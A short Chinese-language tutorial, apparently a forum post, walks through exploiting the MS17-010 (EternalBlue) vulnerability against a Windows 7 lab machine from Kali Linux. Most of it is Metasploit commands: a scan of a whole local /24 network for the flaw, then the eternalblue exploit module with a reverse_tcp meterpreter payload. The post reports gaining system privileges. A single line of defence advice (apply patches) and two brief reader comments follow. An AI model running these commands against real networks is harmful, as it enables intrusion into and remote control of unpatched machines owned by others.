ms17-010实战

libo

ms17-010 可以说是当前影响最大额一次漏洞了。在各个领域都受到了不少的冲击。今天我们一起来了解下！

环境

• kali Linux
• win7(靶机)

漏洞扫描

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.123.1/24 #扫描整个局域网
exploit

如上，我们发现在局域网中，设备 192.168.123.66 存在 ms17-010 漏洞。

漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.123.66
set payload windows/x64/meterpreter/reverse_tcp
exploti

成功拿下系统权限。

防御

请及时更新系统补丁，和安装安全软件进行系统检查。

libo

漏洞虽然早就过时了，但是研究的心态却从未停止。

莫言

新手支持下！